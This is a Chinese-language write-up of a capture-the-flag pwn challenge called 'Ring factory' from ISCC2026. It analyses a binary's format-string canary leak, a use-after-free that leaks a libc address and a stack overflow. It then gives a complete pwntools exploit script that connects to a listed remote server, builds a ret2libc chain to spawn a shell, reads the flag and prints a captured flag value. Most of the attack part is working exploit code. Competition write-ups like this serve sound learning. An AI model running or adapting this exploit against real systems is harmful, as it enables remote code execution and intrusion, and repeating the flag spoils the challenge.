PWN-Ring factory
ISCC2026 WriteUp 提交模板
PWN-Ring factory
隐秘的传送戒指工厂深藏于世。你可以锻造、丢弃、使用戒指开启传送之门。但工厂似乎暗藏异常,某些咒语会引发未知后果。你能逃离这里吗?
题目地址:39.96.193.120:10006
解题思路
checksec:

有Canary和PIE估计要打libc。
拖入IDA进行分析:
main函数

main函数中一个格式化漏洞,经过调试发现%7$p ,可以直接把当前栈上的 canary 打出来。
discard_slingring(0x15cd)
idx = atoi(s);
if ( (unsigned int)idx < 0xA )
{
announcement();
if ( *((_QWORD *)&rings + idx) )
{
free(*((void **)&rings + idx));
printf("Ring Slot #%d has been discarded.\n", idx);
cls();
}
free之后,没有对指针进行滞空,可能存在UAF。
3. show_slingrings:
for ( i = 0; i <= 9; ++i )
{
if ( *((_QWORD *)&rings + i) )
printf(
"Ring Slot #%d | [%d] | %s\n",
i,
*(_DWORD *)(*((_QWORD *)&rings + i) + 128LL),
*((const char **)&rings + i));
*((const char **)&rings + i));刚好对应格式化字符串%s,会把它作为字符串进行输出。配合上面的没有滞空的指针,可以造成UAF。
4. use_slingring (0x16e7)`
fgets(s, 4, stdin);
fflush(stdin);
atoi(s);
printf("\nPlease enter the spell: ");
fgets(s_1, 256, stdin);
很明显的一个栈溢出。
现在开始整理一下利用思路:
- 通过格式化漏洞泄露canary
- 利用uaf来泄露libc
- 打ret2libc
"A" * 0x38
canary
"B" * 8
ret
pop rdi ; ret
"/bin/sh"
system

ISCC{76e20590-27d0-49a3-b843-a24042eb1da4}
Exp
#!/usr/bin/env python3
from pwn import *
#==============全局配置=======================
ELFpath = "./pwn2"
LIBCpath = "./libc-2.31.so"
LOCAL = False
HOST = "39.96.193.120"
PORT = 10006
NOASLR = False
#===============初始化=======================
context(os="linux", arch="amd64", log_level="info")
elf = ELF(ELFpath, checksec=False)
libc = ELF(LIBCpath, checksec=False)
#===============工具别名=====================
io = None
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)
#====================业务常量====================
UNSORTED_FD_OFF = 0x1ECBE0
RET = 0x22679
POP_RDI = 0x23B6A
BIN_SH = next(libc.search(b"/bin/sh\x00"))
def start():
if LOCAL:
return process([ELFpath], aslr=not NOASLR)
return remote(HOST, PORT)
def menu(choice):
ru(b"What do you want to do today?")
ru(b">> ")
sl(str(choice).encode())
def forge(idx, dest=b"A", amount=1):
menu(2)
ru(b"(0-9)")
sl(str(idx).encode())
ru(b"Enter destination location:")
sl(dest)
ru(b"(1-9):")
sl(str(amount).encode())
ru(b"Press ENTER to return.")
sl(b"")
def discard(idx):
menu(3)
ru(b"discard?")
sl(str(idx).encode())
def show():
menu(1)
data = ru(b"Press ENTER to return.")
sl(b"")
return data
def leak_canary():
ru(b"What is your name?")
sl(b"%7$p")
ru(b"Hello, ")
canary = int(io.recvline().strip(), 16)
log.info("canary = %#x", canary)
return canary
def leak_libc_base():
for i in range(9):
forge(i, bytes([0x41 + i]), 1)
for i in range(7):
discard(i)
discard(7)
data = show()
marker = b"Ring Slot #7 | ["
pos = data.find(marker)
if pos == -1:
raise RuntimeError("slot 7 leak marker not found")
line_end = data.find(b"\n", pos)
line = data[pos:line_end]
leak_part = line.split(b"] | ", 1)[1]
unsorted_fd = u64(leak_part[:6].ljust(8, b"\x00"))
libc_base = unsorted_fd - UNSORTED_FD_OFF
log.info("unsorted fd = %#x", unsorted_fd)
log.info("libc base = %#x", libc_base)
return libc_base
def build_payload(canary, libc_base):
return flat(
b"A" * 0x38,
p64(canary),
b"B" * 8,
p64(libc_base + RET),
p64(libc_base + POP_RDI),
p64(libc_base + BIN_SH),
p64(libc_base + libc.sym["system"]),
)
def attack():
global io
io = start()
canary = leak_canary()
libc_base = leak_libc_base()
payload = build_payload(canary, libc_base)
menu(4)
ru(b"(id):")
sl(b"0")
ru(b"Please enter the spell:")
sl(payload)
ru(b"Transporting...")
sl(b"cat flag; cat /flag; cat /flag*; cat /home/ctf/flag* 2>/dev/null")
data = io.recvrepeat(3)
print(data.decode("latin-1", "replace"))
if __name__ == "__main__":
attack()

浙公网安备 33010602011771号